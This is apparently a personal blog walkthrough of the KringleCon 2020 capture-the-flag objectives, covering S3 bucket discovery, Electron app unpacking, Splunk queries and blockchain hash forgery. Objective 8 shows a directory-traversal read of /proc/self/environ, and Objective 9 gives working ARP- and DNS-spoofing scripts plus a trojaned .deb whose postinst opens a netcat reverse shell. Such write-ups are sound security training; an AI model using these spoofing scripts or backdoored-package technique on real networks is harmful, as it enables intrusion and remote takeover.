Being curious

24 Dec 2020

Kringlecon 2020 Walkthrough

Walkthrough of Kringlecon 2020 objectives.

Overview

The below entry only covers solutions to the Objectives from Kringlecon 2020. Solutions to the terminal challenges and minigames are published seperately.

PDF copy of my full walkthrough is published here

Opening

And with that Kringlecon is back for another year.

Kringlecon2020 starting shot

Talking to Jingle Ringford gives the initial dialog to open the game.

Welcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa's castle! Santa asked me to design the new badge, and he wanted it to look really cold - like it was frosty. Click your badge (the snowflake in the center of your avatar) to read your objectives. If you'd like to chat with the community, join us on Discord! We have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general channel! If you get a minute, check out Ed Skoudis' official intro to the con! Oh, and before you head off up the mountain, you might want to try to figure out what's written on that advertising bilboard. Have you managed to read the gift list at the center? It can be hard when things are twirly. There are tools that can help! It also helps to select the correct twirly area.

From here was are off to explore.

Closing

Completing all the objectives fully populates the narrative.

KringleCon back at the castle, set the stage... But it's under construction like my GeoCities page. Feel I need a passport exploring on this platform - Got half floors with back doors provided that you hack more! Heading toward the light, unexpected what you see next: An alternate reality, the vision that it reflects. Mental buffer's overflowing like a fast food drive-thru trash can. Who and why did someone else impersonate the big man? You're grepping through your brain for the portrait's "JFS" "Jack Frost: Santa," he's the villain who had triggered all this mess! Then it hits you like a chimney when you hear what he ain't saying: Pushing hard through land disputes, tryin' to stop all Santa's sleighing. All the rotting, plotting, low conniving streaming from that skull. Holiday Hackers, they're no slackers, returned Jack a big, old null!

At a high-level other holiday characters were unhappy with Santa’s conduct. Last year it was the Tooth Fairy, this year it is Jack Frost. Jack sent Santa a magical portrait that allowed him to assume the role of Santa. With this he was on his way to ruining Christmas.

Through completing the objectives his scheme was foiled & he is now back off to jail. For the story of how this was accomplished please continue reading

Kringlecon2020 closing shot

Objectives

Objective 1 – Uncover Santa’s Gift List

Location: Staging

Objective 1 Brief

Details of the challenge were given in the opening statement from Jingle Ringford. This included using the tool at https://www.photopea.com/.

Objective 1 Solution

From un-twirling the image Photopea (rectangle select -> Filter / Twirl) the answer proxmark can be seen. Cool shot in the main picture as well of an Enigma machine.

Objective 2 – Investigate S3 Bucket

Location: Castle Approach

Objective 2 Brief

Details of objective 2 are provided by Shinny Upatree after solving the Kringle Kiosk Challenge. Goal of the challenge is to find a missing package file which is stored in a cloud s3 bucket. The terminal gives the tool bucket_finder https://digi.ninja/projects/bucket_finder.php and a few links are provided as hints.

First attempt using the supplied wordlist does not find a match.

Can you help me? Santa has been experimenting with new wrapping technology, and
we've run into a ribbon-curling nightmare!
We store our essential data assets in the cloud, and what a joy it's been!
Except I don't remember where, and the Wrapper3000 is on the fritz!

Can you find the missing package, and unwrap it all the way?
elf@6fbbaaa02aa3:~$ cd bucket_finder/
elf@6fbbaaa02aa3:~/bucket_finder$ ./bucket_finder.rb wordlist 
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa

After a bit more experimentation the correct bucket name of wrapper3000 is found.

elf@850dc093ebe4:~/bucket_finder$ echo 'wrapper3000' > word
elf@850dc093ebe4:~/bucket_finder$ ./bucket_finder.rb -d word
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
        <Downloaded> http://s3.amazonaws.com/wrapper3000/package

Copy of the package file is now available.

Initial look at the package file shows it to be encoded in base64. Decoding the base64 shows the next layer is a regular zip file.

elf@850dc093ebe4:~/bucket_finder$ cd wrapper3000/        
head -c 15 package 
UEsDBAoAAAAAAIA
elf@850dc093ebe4:~/bucket_finder/wrapper3000$ cat package | base64 -d > decoded
elf@850dc093ebe4:~/bucket_finder/wrapper3000$ file decoded 
decoded: Zip archive data, at least v1.0 to extract

Next two layers of the file

elf@850dc093ebe4:~/bucket_finder/wrapper3000$ unzip decoded 
Archive: decoded 
    extracting: package.txt.Z.xz.xxd.tar.bz2 
elf@850dc093ebe4:~/bucket_finder/wrapper3000$ bunzip2 package.txt.Z.xz.xxd.tar.bz2 elf@850dc093ebe4:~/bucket_finder/wrapper3000$ tar xf package.txt.Z.xz.xxd.tar

Next layer of the encoding is xxd file dump. After working out how to unpack this the remaining layers came away quickly.

elf@850dc093ebe4:~/bucket_finder/wrapper3000$ xxd -r package.txt.Z.xz.xxd package.txt.Z.xz
elf@850dc093ebe4:~/bucket_finder/wrapper3000$ xz -d package.txt.Z.xz
elf@850dc093ebe4:~/bucket_finder/wrapper3000$ uncompress package.txt.Z
elf@850dc093ebe4:~/bucket_finder/wrapper3000$ cat package.txt
North Pole: The Frostiest Place on Earth

Overall, the package was encoded using the following methods: base64 -> zip -> bzip2 > tar -> xxd (dump) -> xz -> Z. Answer to the objective confirmed as ‘North Pole: The Frostiest Place on Earth’.

Objective 3 – Point-of-Sale Password Recovery

Location: Courtyard

Objective 3 Brief

Details of objective 3 are provided by Sugarplum Mary after solving the Linux Primer terminal challenge. Solving the challenge requires unpacking the supplied electron app to determine the password. The link provided from Medium https://medium.com/how-to-electron/how-to-get-source-code-of-any-electron-application-cbb5c7726c37 describes how to complete this.

To start with I downloaded a copy of the application from https://download.holidayhackchallenge.com/2020/santa-shop/santa-shop.exe . Solving the challenge was then a matter of:

  • Uncompressing the downloaded file on my Windows machine using 7zip.
  • Uncompressing the app-64.7z file inside the santa-shop -> $PLUGINSDIR folder
  • Obtaining the app.asar file from the app-64 -> resources subfolder
  • Loading the asar file onto a Linux machine and extracting the source code using the suggested tool.
  • Searching the extracted files for the string password. Amended results of this are shown below.
main.js:const SANTA_PASSWORD = 'santapass';
main.js:ipcMain.handle('unlock', (event, password) => {
main.js:  return (password === SANTA_PASSWORD);
<SNIP>

When doing this the correct answer of santapass immediately shows up.

Objective 4 – Operate the Santavator

Location: Entry

Objective 4 Brief

Details of objective 4 are provided by Pepper Minstix after solving the Re-attaching TMUX terminal challenge. Goal of the challenge is to use items collected in and around Santa’s castle to fix the broken elevator. Applying some web browser know-how does not hurt either.

Getting to level 2

Getting to level 2 required finding the below items.

  • Broken Candycane (found on ground in Castle Approach area)
  • Hex nut (found in doorway to Santa’s Castle). I’m not certain where I found both of them.
  • Elevator Service Key (obtained from Pepper Minstix)
  • Green bulb (found in courtyard)

Arranging the items as shown below allowed for accessing level 2 and more challenges & the next part of the game.

Santavator Level 2 solution

Getting to level 1.5 and the Roof

Getting access to level 1.5 and the roof required finding additional items.

  • Level 1.5 button in speaker unpreparedness room
  • Ded light bulb (near the door for Track 7)

Re-entering the elevator automatically inserted the button for level 1.5 Placing the red lightbulb, second hex nut and candycane and shown causes the red power light to engage. This allowed for access to level 1.5 of the roof.

Santavator Level 1.5 and roof solution

The below items were found on level 1.5 but not used with the Santavator.

  • Large marble in the workshop
  • Rubber Ball in the wrapping room

Objective 5 – Open HID Lock

Location: Workshop

Objective 5 Brief

After solving the initial Speaker Unprep terminal challenge Bushy Evergreen gives the following hint:

That's it! What a great password... Oh, this might be a good time to mention another lock in the castle. Santa asked me to ask you to evaluate the security of our new HID lock. If ever you find yourself in possession of a Proxmark3, click it in your badge to interact with it. It's a slick device that can read others' badges!

Additional hints that showed up on the badge after this are:

  • The Proxmark is a multi-function RFID device, capable of capturing and replaying RFID events
  • You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running lf hid read when you are close enough to someone with a badge

After exploring the castle further, the Proxmark3 was successfully found in the Present Wrapping room.

Executing the lf hid read command from behind Santa does nothing. After solving the Christmas lights challenge Fitzy Shortstack gives a hint that ‘You know, Santa really seems to trust Shinny Upatree’. Executing it from behind Shiny Upatree gives the below.

Output of lf hid read

Using this code to send to the hid lock gives the below, unlocks the door & completes the objective.

Output of lf hid sim

Objective 6 – Splunk Challenge

Location: Great Room

Objective 6 Brief

Challenge is only accessible after swapping character to Santa. This is done by exploring the room behind the locked workshop door. Accessing this room requires completing objective 5.

Hints given by elves are below. Goal of the objective is to solve several questions by querying the supplied Splunk instance. Answer to the objective is found by solving the final question.

Training questions
  1. How many distinct MITRE ATT&CK techniques did Alice emulate? 13 (index=* | stats count by index) (after that counted distinct index names)
  2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space) t1059.003-main t1059.003-win (used results of previous search)
  3. One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid? HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography (link used to obtain answer - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md)
  4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.) 2020-11-30T17:44:15Z (_index=attack OSTAP | sort time)
  5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component? 3648 (_index=T1123* WindowsAudioDevice-Powershell-Cmdlet | sort time) (submitted the parent process id) (initial search for tools from frgnca on Github identified AudioDeviceCmdlets, searching for that in Atomic Red team identified T1123)
  6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation? quser (based on question view, is we are dealing with T1547) (review of batch files - index=t1547.001-win *.bat points to discovery.bat)
  7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range? 55FCEEBB21270D9249E86F4B9DC7AA60 (index=* sourcetype=bro:x509:json “certificate.issuer”=“CN=win-dc-748.attackrange.local” & pull of certificate.serial field)
Challenge Question

What is the name of the adversary group that Santa feared would attack KringleCon? The Lollipop Guild

Hint given to solve this challenge is unlocked after answering the previous seven questions.

This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is: 7FXjP1lyfKbyDK/MChyf36h7. It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!

RFC 7465 references RC4. Based on the hints Cyberchef was used to decipher the phrase. Interacting with Santa and reviewing the hints keeps showing phrases involving ‘Frosty’. After experimenting some the Passphrase ‘Stay Frosty’ unlocks the answer.

Splunk challenge question solution

Objective 7 - Solve the Sleigh’s CAN-D-BUS Problem

Location: NetWars

Objective 7 Brief

Objective is only accessible after swapping character to Santa. This is done by exploring the room behind the locked workshop door. Accessing this room requires completing objective 5.

After solving the CAN-Bus terminal challenge Wunorse Openslae gives additional hints for the main objective. Insights taken from these are:

  • There is an issue with the breaks and locking/unlocking the sleigh doors.
  • Noisy codes should be filtered out first to determine the issue.

Through filtering the noisy codes and experimentation the meaning of most codes was determined.

  • 02A: Turns the engine on (00FF00) & off (0000FF)
  • 244 -> messages from the engine, a 00 means the engine is off, another value means the engine is idling
  • 19B -> is lock (all 000s) and unlock (F000000) the doors
  • 019 -> is steering. A value of 00 means the steering is centred, non-zero values indicate the steering is in use.
  • 080 -> controls the breaks. A value of 0 means no force is applied to the breaks, a positive value indicates the breaks are in-use.
  • Not really clue on what 188 is.

Final solution is below:

CAN-D-BUS solution

The 19B code showing F2057 showed up regularly in the event feed. This would explain why the door locking was problematic. The sleigh would only be expecting a 0 (lock) or F000000 (unlock).

When the breaks were engaged negative values for ID 080 showed up in the event feed. This combined with positive values would explain why the breaks were ‘shuddering’. Filtering out the negative values solved the issue.

Objective 8 – Broken Tag Generator

Location: Wrapping Room

Objective 8 Brief

Objective is only accessible after swapping character to Santa. This is done by exploring the room behind the locked workshop door. Accessing this room requires completing objective 5.

Details of Objective 8 are provided after solving the Redis Bug Hunt terminal challenge. After solving this Holly Evergreen provides several hints. Relevant hints I used in solving the challenge are below:

  • We might be able to find the problem if we can get source code! – Suggests a copy of the source code is needed to solve the objective.
  • Can you figure out the path to the script? It’s probably on error pages! Triggering an error in the page (uploading a forbidden file type) shows the script is located at /app/lib/app.rb
  • Is there an endpoint that will print arbitrary files? Reviewing available JavaScript code identifies two endpoints. Sending a GET to /image?id= using directory traversal allowed for viewing arbitrary files on disk (local file include vulnerability – LFI)
  • If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)! Attempting to exploit the LFI using a browser failed. The browser would try and render the file as image. Testing done using curl from the command line.

This approach was then used to extract environment variables (output amended for clarity). This confirmed the value of environment variable GREETZ is JackFrostWasHere.

me@duo:~ $ curl --output - https://tag-generator.kringlecastle.com/image?id=../../../../proc/self/environ
<SNIP>
GREETZ=JackFrostWasHere
<SNIP>

The remaining tips suggest remote code execution is possible from the page. How to exploit this was not determined. Best theory at time of submission was it would use the system call to the convert binary. This would need to be done potentially via command injection in the filename.

Objective 9 – ARP Shenanigans

Location: NetWars

Objective 9 Brief

Challenge is only accessible after swapping character to Santa. This is done by exploring the room behind the locked workshop door. Accessing this room requires completing objective 5

Details of objective 9 along with some hints are provided after solving the Scapy Prepper terminal challenge. A summary of steps used to complte the objective are:

  1. Tcpdump was used to monitor network activity coming from host 10.6.6.35. This determined the compromised host was trying to locate the IP address of 10.6.6.53.
  2. The arp.py script was modified to spoof an ARP response to towards the compromised host (Step 1). The spoofed request claimed the current machine was the target IP. This caused the compromised host to issue a DNS lookup request for ftp.osuosl.org. That is the FTP site for the Oregon State University Open-Source Lab Mirror.
  3. The dns.py script was modified to provide a DNS response pointing any lookups to the current machine (Step 2). Doing this with a Python3 HTTP server running showed the compromised host was requesting ftp.osuosl.org/pub/jfrost/backdoor/suriv_amd64.deb.
  4. A modified version of the package was created and placed on the current machine. The package postinst file was modified to open a reverse shell to the target machine using netcat (Step 3).
  5. The items were then run-in sequence while a netcat listener was running on the current machine. This successfully caused the compromised host to open a reverse shell to the current machine. This allowed for viewing the target file (screen grab below).

Objective 9 outcome

Step 1

Modified version of the arp.py script is shown below. Details from site https://www.geeksforgeeks.org/python-how-to-create-an-arp-spoofer-using-scapy/ was useful in completing this.

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
spoof_ip = "10.6.6.53"
target_ip = "10.6.6.35"
target_addr = "4c:24:57:ab:ed:84"
def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst=target_addr, type=0x806, src=macaddr)
        arp_response = ARP(pdst=target_ip)
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 2048
        arp_response.hwtype = 1
        arp_response.hwsrc = macaddr
        arp_response.psrc = spoof_ip
        arp_response.hwdst = target_addr
        arp_response.pdst = target_ip
        response = ether_resp/arp_response
        sendp(response, iface="eth0")
def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
    main()

After triggering the script the compromised host was observerd doing a DNS lookup for ftp.osuosl.org.

10:34:46.263034 ARP, Reply 10.6.6.53 is-at 02:42:0a:06:00:02, length 28
10:34:46.287508 IP 10.6.6.35.20298 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
Step 2

Modified version of the dns.py script is shown below. Script was designed to answer any DNS query with an A record pointing to the current host.

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    ip_pkt = packet.getlayer(IP)
    dns_pkt = packet.getlayer(DNS)
    qname = packet[DNSQR].qname
    eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")   # need to replace mac addresses
    ip  = IP(dst=ip_pkt.src, src=ip_pkt.dst)                          # need to replace IP addresses
    udp = UDP(dport=ip_pkt.sport, sport=ip_pkt.dport)                             # need to replace ports
    dns = DNS(
            id = dns_pkt.id,
            qd = dns_pkt.qd,
            aa = 1,
            rd = 0,
            qr = 1,
            ancount = 1,
            an = DNSRR(rrname=qname, type='A', rdata=ipaddr)
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
    main()

After running step 1 & 2 together the malicious host was observed requesting a deb file.

10.6.6.35 - - [15/Dec/2020 19:18:33] “GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1” 404 -

Step 3

Modified version of the suriv_amd64.deb was created. The modifications would cause the package to open a reverse shell to the target machine as part of installation. Steps outlined at http://www.wannescolman.be/?p=98 were used as the basis for this.

guest@96cb374e09b4:~$ mkdir packing
guest@96cb374e09b4:~$ cd packing/
guest@96cb374e09b4:~/packing$ cp ../debs/nano_4.8-1ubuntu1_amd64.deb .
guest@96cb374e09b4:~/packing$ dpkg -x nano_4.8-1ubuntu1_amd64.deb work
guest@96cb374e09b4:~/packing/work$ mkdir work/DEBIAN
guest@96cb374e09b4:~/packing$ ar -x nano_4.8-1ubuntu1_amd64.deb 
guest@96cb374e09b4:~/packing$ tar xvf control.tar.xz ./control
./control
guest@96cb374e09b4:~/packing$ tar xvf control.tar.xz ./postinst
./postinst
guest@96cb374e09b4:~/packing$ mv control work/DEBIAN/
guest@96cb374e09b4:~/packing$ mv postinst work/DEBIAN/
guest@96cb374e09b4:~/packing$ echo 'nc 10.6.0.4 5556 -e /bin/sh' >> work/DEBIAN/postinst 
guest@96cb374e09b4:~/packing$ dpkg-deb --build ./work/
dpkg-deb: building package 'nano' in './work.deb'.
guest@96cb374e09b4:~/packing$ mv work.deb suriv_amd64.deb
Putting it all together

After putting the solution together and triggering arp.py and dns.py a reverse shell was successfully opened to the target machine. A copy of NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt was then extracted using netcat.

A summary of the appropriate section is shown below.

Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.

Answer to the objective question is Tanta Kringle.

Objective 10 – Defeat Fingerprint Sensor

Location: Santavator

Objective 10 Brief

Challenge can only be completed when using a normal character (not Santa). To change back to the normal player walk through the portrait in the entry area.

Chatting with Ribb Bonbowford as Santa gives a clue there is a vulnerability in the fingerprint reader of the Santavator.

Analysing the elevator logic using the browser inspector shows code of interest in the app.js file.

Shot of app.js file

Digging into the app.js file shows two items of interest. To modify these the browser override functionality was used.

First is in handleBtn4 section of the code. This checks if the code can be invoked by looking at (btn4.classList.contains(‘powered’) && hasToken(‘besanta’)). Given the need is to bypassing the fingerprint sensor checking for the besanta token is removed.

Second is in the renderTraps section of the code. This determines if btn4 should be powered by looking at btn4.classList[powered[2] && powered[1] && powered[0]. Given the yellow light bulb had not been found at this time the reference to powered[1] was removed.

Re-opening the elevator controls with Javascript code override in place caused the button for Santa’s office to be enabled. The button and fingerprint scanner can then be pressed.

Level 3 Button enabled

After entering Santa’s Office the objective is marked as complete.

Objective 11a – Naughty/Nice List with Blockchain Investigation Part 1

Location: Santa’s Office

Objective 11a Brief

Objective is only accessible after swapping character to Santa. This is done by exploring the room behind the locked workshop door. Accessing this room requires completing objective 5.

Reviewing the naughty_nice.py code supplied as the toolbox highlights two things of interest.

  • The nonce is a random 64-bit value.
  • The nonce is calculated using the Python random module. This means the numbers are determined using a Mersenne Twister. This means with enough known nonce values the nonce for block 130000 can be predicted.

The main block of the supplied naughty_nice.py code was developed to do this. This code uses the MT19937Predictor https://github.com/kmyk/mersenne-twister-predictor.

    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    index = 0
    predictor = MT19937Predictor()
    for c2_block in c2.blocks:
        index = c2_block.index
        predictor.setrandbits(c2_block.nonce, 64)
    print("Total blocks: %s" % len(c2.blocks))
    while (index < 130001):
        index = index + 1
        new_nonce = predictor.getrandbits(64)
        if (index==130000):
            encoded_new_nonce = str('%016.016x' % (new_nonce)).encode('utf-8')
            print("Block Index: %d Encoded Nonce: %s" % (index, encoded_new_nonce))

Running the code gives the answer: Block Index: 130000 Encoded Nonce: b’57066318f32f729d

Objective 11b – Naughty/Nice List with Blockchain Investigation Part 2

Location: Santa’s Office

Objective 11b Brief

Objective requires resources from completing Objective 11a. Once these are obtained, they can be used for 11b. Solving the Snowball Fight minigame provided several important hints for this objective.

Objective was solved by completing the following steps:

  1. Amending the code to generate SHA256 of a block

New function was inserted in the block class to do this

    def full_hash_SHA256(self):
        hash_obj = SHA256.new()
        hash_obj.update(self.block_data_signed())
        return hash_obj.hexdigest()
  1. Enumerating over the supplied blocks to locate Jack’s altered block. Updated main function used to do this is below.
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    for weird in c2.blocks:
        if (weird.full_hash_SHA256() == "58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f"):
            print(weird)
            for index in range(weird.doc_count):
                weird.dump_doc(index)

A snippet of the block found is below:

Chain Index: 129459 Nonce: a9447e5771c704f4 PID: 0000000000012fd1 RID: 000000000000020f Document Count: 2 Score: ffffffff (4294967295) Sign: 1 (Nice) Data item: 1 Data Type: ff (Binary blob) Data Length: 0000006c Data: b'ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b91945 Data item: 2 Data Type: 05 (PDF) Data Length: 00009f57 Data: b'255044462d312e330a2525c1cec7c5210a0a312030206f626a0a3c3c2f547970652f436174616c6f

Two documents were found on the block - 129459.pdf & 129459.bin. Opening the PDF reveals several messages from people praising Jack Frost’s behaviour. The bin file is a binary blob of no recognised structure.

  1. Develop test harness

To test modifications to the block a test harness was written. Below is the modified code used in the main code for naughty_nice.py. This modifies the target block by loading new binary instances of each original document. It then compares the MD5 hash of the new block against the previous value & prints out a result.

    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    target_block = c2.blocks[1010]
    # this is the target hash we want the jack frost block to equal
    target_hash = "b10b4a6bd373b61f32f4fd3a0cdfbf84"
    #load manipulated file here
    with open('129459-t.bin', 'rb') as f2:
        target_block.data[0]['data'] = f2.read()
    with open('129459-t.pdf', 'rb') as fp:
        target_block.data[1]['data'] = fp.read()
    if target_block.full_hash() == target_hash:
        print("Problem solved!: %s" % (target_block.full_hash_SHA256()))
    else:
        print("Full hash block: %s" % (target_block.full_hash_SHA256()))
        print("Problem not solved!")
  1. Fixing the first & second byte

Given Jack Frost is naughty the PDF must obviously be forged. Based on the supplied hints it’s understood a Unicoll attack was used.

Analysing the PDF in a hex editor locates two Pages objects (‘2 0’ and ‘3 0’). The PDF catalogue object was then configured to point at the object at ‘2 0’. First byte modified was to point the catalogue at the ‘3 0’ pages object (increment 2 to 3). In keeping with the UniColl attack the corresponding byte was decremented by one.

PDF file modification

Opening the PDF after modification now shows a very different message. It tells the tail of Jack Frost kicking a wombat in Australia. Loading the PDF into the harness code shows the hashes match – success.

  1. Fixing the third and fourth byte

The remaining fields were analysed to determine the third and fourth bytes to modify.

The nonce, PID & RID values had no bearing on Jack Frost being regarded as naughty. This left the score, sign and binary data from document one.

Given only two further bytes could be modified the sign value was used. The line target_block.sign = 0 was added to the harness code to do this. After doing this the modified block hash no longer matched the target.

Given the sign value was decremented by 1, using a Unicoll attack meant a corresponding offset byte needed to be incremented by one. Looking at the layout of the block the likely target location for this is in the binary data blob.

I manually enumerated over the 129459.bin file incrementing each byte by one. After some experimentation the correct byte was found. Running the test harness then provided the answer.

Target bad hash: 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f Full hash block: 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f Problem solved!: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

Submitting the answer marked off the Objective as complete. Thankyou to @frite & @joergen for helping me get there.